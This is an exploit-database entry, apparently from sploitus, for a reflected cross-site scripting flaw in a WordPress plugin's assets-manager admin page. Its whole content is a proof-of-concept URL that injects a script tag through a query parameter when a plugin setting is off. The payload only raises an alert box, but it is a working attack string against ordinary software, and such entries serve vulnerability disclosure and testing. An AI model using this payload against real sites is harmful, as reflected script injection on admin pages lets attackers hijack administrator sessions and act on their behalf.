## https://sploitus.com/exploit?id=WPEX-ID:A59E7102-13D6-4F1E-B7B1-75EAE307E516
When Disable assets manager on back-end" is off: https://example.com/wp-admin/admin.php?page=gonzales-wbcr_clearfy&action=index&wbcr_assets_manager=1&a"><script>alert(/XSS/)</script>